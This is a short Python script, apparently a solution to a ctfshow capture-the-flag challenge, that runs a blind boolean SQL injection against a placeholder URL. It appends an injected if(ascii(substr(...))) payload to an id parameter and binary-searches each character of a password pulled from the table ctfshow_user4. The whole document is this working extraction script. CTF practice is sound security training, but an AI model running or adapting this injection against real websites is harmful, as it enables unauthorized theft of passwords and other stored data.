import requests url = "http://xxx?id=1' and 1=" flag = "" for i in range(1,100): low = 32 high = 128 while low < high: mid = (low + high)//2 content = "select password from ctfshow_user4 limit 24,1" sql = f"if(ascii(substr(({content}),{i},1))<{mid},1,0)--+" url2 = url+sql r = requests.get(url2) if "admin" in r.text: high = mid else: low = mid + 1 if low == high == 32: print("No result") break flag += chr((high + low - 1)//2) print(flag)
|